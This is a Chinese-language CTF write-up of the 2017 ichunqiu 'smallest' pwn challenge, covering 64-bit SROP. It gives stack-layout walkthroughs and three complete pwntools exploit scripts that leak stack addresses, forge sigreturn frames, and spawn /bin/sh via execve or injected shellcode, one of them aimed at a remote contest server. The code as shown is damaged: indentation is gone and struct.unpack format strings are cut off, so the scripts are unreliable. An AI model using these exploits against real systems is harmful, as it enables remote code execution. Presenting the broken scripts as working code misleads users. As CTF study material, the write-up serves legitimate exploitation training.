SROP 64位-smallest(2017429ctf.ichunqiu)

概述

360春秋杯”国际网络安全挑战赛

Challenge - smallest (pwn 300) - 429 ichunqiu ctf 2017

http://2017429ctf.ichunqiu.com/competition/index

 

64位SROP很好的练习题。

程序分析

millionsky@ubuntu-16:~/tmp/smallest$ objdump -d smallest

 

smallest:     文件格式 elf64-x86-64

 

 

Disassembly of section .text:

 

00000000004000b0 <.text>:

  4000b0:       48 31 c0                xor    %rax,%rax

  4000b3:       ba 00 04 00 00          mov    $0x400,%edx

  4000b8:       48 89 e6                mov    %rsp,%rsi

  4000bb:       48 89 c7                mov    %rax,%rdi

  4000be:       0f 05                   syscall

  4000c0:       c3                      retq   

漏洞利用

3.1 关键点

1. 可以通过发送字节的数量控制read的返回值控制RAX

这里可以利用的系统调用为:

#define __NR_write 1

#define __NR_rt_sigreturn 15

 

2. 如何进行SROP

问题:sigreturn在64位syscall号为15,Signal Frame的大小位0xF8,明显比15要大,如何传输SignalFrame?

 

方案:两次read,第一次传输SignalFrame,第二次设置rax为15

 第一次read时传输的数据格式为

    Return Address or SYS_read

    PlaceHolder for syscall

    SignalFrame

 第二次read时传输的数据格式为(总共15个字节)

    syscall_addr

    7个字节的填充

Syscall gadget

 程序本身有,如果没有,vsyscall中有

3. SROP中RSP的设置

RSP必须设置为一个可写的地址。

栈中的某些数据是指向栈的指针,泄露这些数据可以得到栈的值或一个可写的地址。

l 通过argv[0]和envp获取栈所在的页

int main(int argc, char *argv[], char *envp[])

argv[0]是一个栈地址,指向的是程序的名称;

envp中保存的都是环境变量的地址,都位于栈中;

addr = leak() & 0xfffffffffffffff000

l 通过附加向量的AT_RANDOM/AT_PLATFORM获取RSP的值

附加向量中的AT_RANDOM指示栈中16字节随机数的地址。在栈中位于附加向量的后面,环境字符串的前面。可以通过这个地址计算栈中数据的地址。

AT_PLATFORM位于AT_RANDOM后面,同样可以计算RSP的值。

l SROP指向mprotect系统调用,将.text变为可写的

这样也可以得到一个可写的地址;

特别是EFL头中有程序的入口,通过它可以再次跳转到read gadget。

4. 如何泄露栈中的数据

通过read控制RAX的值为1(SYS_write),进而调用write系统调用。

3.2 思路1

1. Sigreturn

Read返回值控制EAX,设置为sigreturn的系统调用号0x0f

栈溢出,发送Signal Frame,执行sigreturn系统调用;

Sigreturn设置RSP指向ELF header中的entry point

2. Mprotect

sigreturn执行mprotect系统调用,将text段设置为RWX

3. read gadget

通过Entry point再次执行read gadget

4. Shellcode

read读取shellcode放入栈中,执行shellcode

3.3 思路2

1. Write泄露envp,获取栈地址

2. Sigreturn设置RSP为获取的地址,RIP设置为read gadget

3. Read gadget发送Signal Frame和/bin/sh

4. Sigreturn执行execve系统调用

3.4 思路3

1. Write泄露auxv AT_RANDOM/AT_PLATFORM,获取栈地址

2. Read gadget发送Signal Frame和/bin/sh

3. Sigreturn执行execve系统调用

EXP1

1. Sigreturn&mprotect&设置RSP

Sigreturn设置RSP指向ELF header中的entry point

RIP: 400c0(sys_read(pg)执行完毕)

+1

Return addr
addr_of_sys_read(1)

 

+2

PlaceHolder

 'A' * 8

+3

Signal Frame

 

+4

 '\n'

 

 

RIP: 400c0(sys_read(1)执行完毕)
发送了0x0f个字节,即sys_sigreturn

+2

Return addr
addr_of_syscall

sigreturn

+3

Signal Frame

前7个字节被覆盖为6个\x11和1个\n

+4

 '\n'

 

 

2. 通过Entry point再次执行read gadget

RIP: 400c0(sys_sigreturn&mprotect执行完毕)
  RSP=elf_hdr_addr+0x18

N+0
0x400018

Return addr
addr_of_sys_read(2)

 

N+1

 

 

 

3. 传输并执行shellcode

RIP: 400c0(sys_read(2)执行完毕)

N+1
0x40020

Return addr
shellcode_addr

 0x400028

N+1
0x40028

 shellcode

 

 

0x0a

 

EXP2

代码来自http://anciety.cn/2017/04/21/2017429ctf-smallest-writeup/

见附件

 

1. 泄露argv[0]

RIP: 400c0(sys_read(pg)执行完毕)

+0

Return addr
addr_of_sys_read(1)

 

+1

addr_of_rdi_syscall

mov %rax, %rdi
syscall

+2

addr_of_sys_read(2)

 

 

RIP: 400c0(sys_read(1)执行完毕)

+1

addr_of_rdi_syscall

mov %rax, %rdi
syscall
发送一个字节\xbb
覆盖原来的\xbb

+2

addr_of_sys_read(2)

 

 

RIP: 400c0(sys_write)执行完毕)

+2

addr_of_sys_read(2)

从sys_write中获取envp中的值,这是一个指向栈的指针

+3

 

 

 

2. Sigreturn设置RSP为获取的地址,RIP设置为read gadget

RIP: 400c0(sys_read(2)执行完毕)

+3

Return addr
addr_of_sys_read(3)

 

+4

PlaceHolder

d' * 8

+5X

Signal Frame

 

 

RIP: 400c0(sys_read(3)执行完毕)
发送了0x0f个字节,即sys_sigreturn
sigreturn重新设置RSP,RIP为read

+4

Return addr
addr_of_syscall

sigreturn

+5X

Signal Frame

前7个字节被覆盖为\x11

 

RIP: 400c0(sys_sigreturn执行完毕)
  RSP=addr
  RIP=sys_read(4)

N+0

 

 

N+1

 

 

 

3. Sigreturn执行execve

RIP: 400c0(sys_read(4)执行完毕)

N+0

Return addr
addr_of_sys_read(5)

 

N+1

PlaceHolder

b'*8

N+2

Signal Frame

 sys_execve

N+3

PAD

 

N+4
addr+400

/bin/sh\0

arg1--filename

N+5

addr+400

arg2[0]--filename

N+6

\0

arg2[1]--filename
arg3--envp

 

RIP: 400c0(sys_read(5)执行完毕)
发送0x0f个字节,即RAX=sigreturn

N+1

Return addr
addr_of_syscall

 

N+2

Signal Frame

前7个字节被覆盖为\x11

N+3

PAD

 

N+4
addr+400

/bin/sh\0

arg1--filename

N+5

addr+400

arg2[0]--filename

N+6

\0

arg2[1]--filename
arg3--envp

EXP3

1. Write泄露auxv,获取栈地址

RIP: 400c0(sys_read(pg)执行完毕)

+0

Return addr
addr_of_sys_read(1)

 

+1

addr_of_rdi_syscall

mov %rax, %rdi
syscall

+2

addr_of_sys_read(2)

 

 

RIP: 400c0(sys_read(1)执行完毕)

+1

addr_of_rdi_syscall

mov %rax, %rdi
syscall
发送一个字节\xbb
覆盖原来的\xbb

+2

addr_of_sys_read(2)

 

 

RIP: 400c0(sys_write)执行完毕)

+2

addr_of_sys_read(2)

从sys_write中获取auxv AT_RANDOM的值,这是一个指向栈的指针

+3

 

 

2. 发送Signal Frame和/bin/sh

RIP: 400c0(sys_read(2)执行完毕)

+3

Return addr
addr_of_sys_read(3)

 

+4

PlaceHolder

d' * 8

+5X

Signal Frame

 

+6

 "/bin/sh\0"

 

+7

0x0a

 

 

3. Sigreturn执行execve系统调用

RIP: 400c0(sys_read(3)执行完毕)
发送了0x0f个字节,即sys_sigreturn
sigreturn重新设置RSP,RIP为read

+4

Return addr
addr_of_syscall

sigreturn

+5X

Signal Frame

前7个字节被覆盖为Signal Frame的前7个字节

附件

exp1.py

from pwn import *
import sys

context(os='linux', arch='amd64', log_level='debug')

program_name = './smallest'
elf_hdr_addr = 0x400000
read_addr = 0x4000b0
syscall_addr = 0x4000be
shellcode="\x31\xF6\xF7\xE6\x50\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xB0\x3B\x0F\x05"
shellcode_addr=0x400028

def exploit(p):
#Signal Frame
frame = SigreturnFrame()
frame.rsp = elf_hdr_addr+0x18
frame.rax = constants.SYS_mprotect
frame.rdi = elf_hdr_addr
frame.rsi = 0x1000
frame.rdx = 0x7
frame.rip = syscall_addr

#Put Signal Frame to Stack
payload = p64(read_addr)
payload += 'A'*8
payload += str(frame)
payload += chr(0xa)
p.send(payload)

#Set rax=0x0f(sys_sigreturn)
payload = p64(syscall_addr)
payload += '\x11' * (0xf - len(payload)-1)
payload += chr(0xa)
p.send(payload)

# shellcode includes NOP + DUP + stack fix + execve('/bin/sh')
payload = p64(shellcode_addr)
payload += shellcode
payload += chr(0xa)
p.send(payload)

p.interactive()

if __name__ == "__main__":
if len(sys.argv) > 1:
p = remote(sys.argv[1], int(sys.argv[2]))
else:
p = process(program_name)
pause()
exploit(p)

exp2.py

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

DEBUG = 1
GDB = 0

if DEBUG:
p = process("./smallest")
else:
p = remote("106.75.61.55", 20000)

def pwn(addr):
'''
addr should be writable address
'''
#
# #sigreturn set RSP & RIP
#
ret_addr = 0x4000b0 # another read
syscall_addr = 0x4000be # only syscall
frame = SigreturnFrame()
frame.rsp = addr # any writable address(maybe in stack)
frame.rip = ret_addr
payload = p64(ret_addr)
payload += 'd' * 8
payload += str(frame)
p.send(payload)

# second read, enter sysreturn
payload = p64(syscall_addr)
payload += '\x11' * (15 - len(payload))
p.send(payload)

yes = raw_input()
#
# #sigreturn execve
#
# another read now, to the choosed addr as rsp
frame2 = SigreturnFrame()
frame2.rsp = addr + 400
frame2.rax = constants.SYS_execve
frame2.rdi = addr + 400
frame2.rsi = addr + 400 + len("/bin/sh\x00")
frame2.rdx = 0
frame2.rip = syscall_addr
payload = p64(ret_addr)
payload += 'b' * 8
payload += str(frame2)
payload += 'a' * (400 - len(payload))
payload += '/bin/sh\x00'
payload += p64(addr + 400)

p.send(payload)

yes = raw_input()

# another sigreturn
payload = p64(syscall_addr)
payload += '\x00' * (0xf - len(payload))
p.send(payload)

#get value of argv[0], a pointer to stack
def leak():
read_again = 0x4000b0
rdi_syscall_addr = 0x4000bb
payload = p64(read_again)
payload += p64(rdi_syscall_addr)
payload += p64(read_again)
p.send(payload)

yes = raw_input()
p.send('\xbb')
recved = p.recvuntil('\x7f')
then = p.recv()
leak = u64(recved[-6:] + then[:2])
log.info("leaking:" + hex(leak))
return leak

def main():
if GDB:
pwnlib.gdb.attach(p)
#leak()
addr = leak() & 0xfffffffffffffff000
addr -= 0x2000
log.info("on addr: " + hex(addr))
pwn(addr)
p.interactive()

if __name__ == '__main__':
main()

exp3.py

from pwn import *
import sys

context(os='linux', arch='amd64', log_level='debug')

program_name = './smallest'
read_addr = 0x4000b0
rdi_syscall_addr = 0x4000bb #mov %rax,%rdi; syscall
syscall_addr = 0x4000be

AT_SYSINFO_EHDR = 0x21
AT_RANDOM = 0x19
AT_PLATFORM = 0x0f

#argv[0]--rdi_syscall_addr
#argv[1]--read_addr
#envp[]--entry values like 0x00007fffxxxxxxxx, endwith 0x0
#auxv[key, value]--20 entry, last entry is 0x0, 0x0
#1 or 9 0x0 bytes; 16 random bytes; x86_64; 0x0 byte;
def parse_auxv(ENV_AUX_VEC):
QWORD_LIST = []
for i in range(0, len(ENV_AUX_VEC), 8):
QWORD_LIST.append(struct.unpack(", ENV_AUX_VEC[i:i+8])[0])

start_aux_vec = QWORD_LIST.index(AT_SYSINFO_EHDR) # first entry in vector table
AUX_VEC_ENTRIES = QWORD_LIST[start_aux_vec: start_aux_vec + (18 * 2)] # size of auxillary table
AUX_VEC_ENTRIES = dict(AUX_VEC_ENTRIES[i:i+2] for i in range(0, len(AUX_VEC_ENTRIES), 2))

vdso_address = AUX_VEC_ENTRIES[AT_SYSINFO_EHDR]
print "[*] Base address of VDSO : %s" % hex(vdso_address)

#offset may vary, need debug
offset = 0x239
random_address = AUX_VEC_ENTRIES[AT_RANDOM]
buffer_address = random_address - offset
print "[*] Buffer address in stack : %s" % hex(buffer_address)
return buffer_address

def parse_auxv_2(ENV_AUX_VEC):
QWORD_LIST = []
for i in range(0, len(ENV_AUX_VEC), 8):
QWORD_LIST.append(struct.unpack(", ENV_AUX_VEC[i:i+8])[0])

start_aux_vec = QWORD_LIST.index(AT_SYSINFO_EHDR) # first entry in vector table
AUX_VEC_ENTRIES = QWORD_LIST[start_aux_vec: start_aux_vec + (18 * 2)] # size of auxillary table
AUX_VEC_ENTRIES = dict(AUX_VEC_ENTRIES[i:i+2] for i in range(0, len(AUX_VEC_ENTRIES), 2))

vdso_address = AUX_VEC_ENTRIES[AT_SYSINFO_EHDR]
print "[*] Base address of VDSO : %s" % hex(vdso_address)

auxv_random_address = AUX_VEC_ENTRIES[AT_RANDOM]

auxv_random_end_index = ENV_AUX_VEC.index("x86_64")
auxv_random_start_index = auxv_random_end_index - 0x10
auxv_random_start_index += 8 #argc
buffer_address = auxv_random_address - auxv_random_start_index
print "[*] Buffer address in stack : %s" % hex(buffer_address)
return buffer_address

def parse_auxv_3(ENV_AUX_VEC):
QWORD_LIST = []
for i in range(0, len(ENV_AUX_VEC), 8):
QWORD_LIST.append(struct.unpack(", ENV_AUX_VEC[i:i+8])[0])

start_aux_vec = QWORD_LIST.index(AT_SYSINFO_EHDR) # first entry in vector table
AUX_VEC_ENTRIES = QWORD_LIST[start_aux_vec: start_aux_vec + (19 * 2)] # size of auxillary table
AUX_VEC_ENTRIES = dict(AUX_VEC_ENTRIES[i:i+2] for i in range(0, len(AUX_VEC_ENTRIES), 2))

vdso_address = AUX_VEC_ENTRIES[AT_SYSINFO_EHDR]
print "[*] Base address of VDSO : %s" % hex(vdso_address)

auxv_platform_address = AUX_VEC_ENTRIES[AT_PLATFORM]

auxv_platform_index = ENV_AUX_VEC.index("x86_64")
auxv_platform_index += 8 #argc
buffer_address = auxv_platform_address - auxv_platform_index
print "[*] Buffer address in stack : %s" % hex(buffer_address)
return buffer_address

def exploit(p):
#SYS_write, get buffer addr
payload = p64(read_addr)
payload += p64(rdi_syscall_addr)
payload += p64(read_addr)
payload += chr(0xa)
p.send(payload)

p.send('\xbb') #first byte of rdi_syscall_addr
ENV_AUX_VEC = p.recv(0x400)
buffer_address = parse_auxv_3(ENV_AUX_VEC)

#Signal Frame
frame = SigreturnFrame()
frame.rsp = buffer_address
frame.rax = constants.SYS_execve
frame.rdi = buffer_address+0x28+len(str(frame))
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr

print "[*] rdi=%s" % hex(frame.rdi)

#Put Signal Frame to Stack
payload = p64(read_addr)
payload += 'A'*8
payload += str(frame)
payload += '/bin/sh\x00'
payload += chr(0xa)
p.send(payload)

#Set rax=0x0f(sys_sigreturn)
payload = p64(syscall_addr)
payload += '\x11' * (0xf - len(payload)-1)
payload += chr(0xa)
p.send(payload)

p.interactive()

if __name__ == "__main__":
if len(sys.argv) > 1:
p = remote(sys.argv[1], int(sys.argv[2]))
else:
p = process(program_name)
pause()
exploit(p)

8 结论

研究本题,应熟悉x64 SROP的利用

参考文章

1. http://anciety.cn/2017/04/21/2017429ctf-smallest-writeup/。

2. Return to VDSO using ELF Auxiliary Vectors。https://v0ids3curity.blogspot.jp/2014/12/return-to-vdso-using-elf-auxiliary.html。

你可能感兴趣的:(PWN)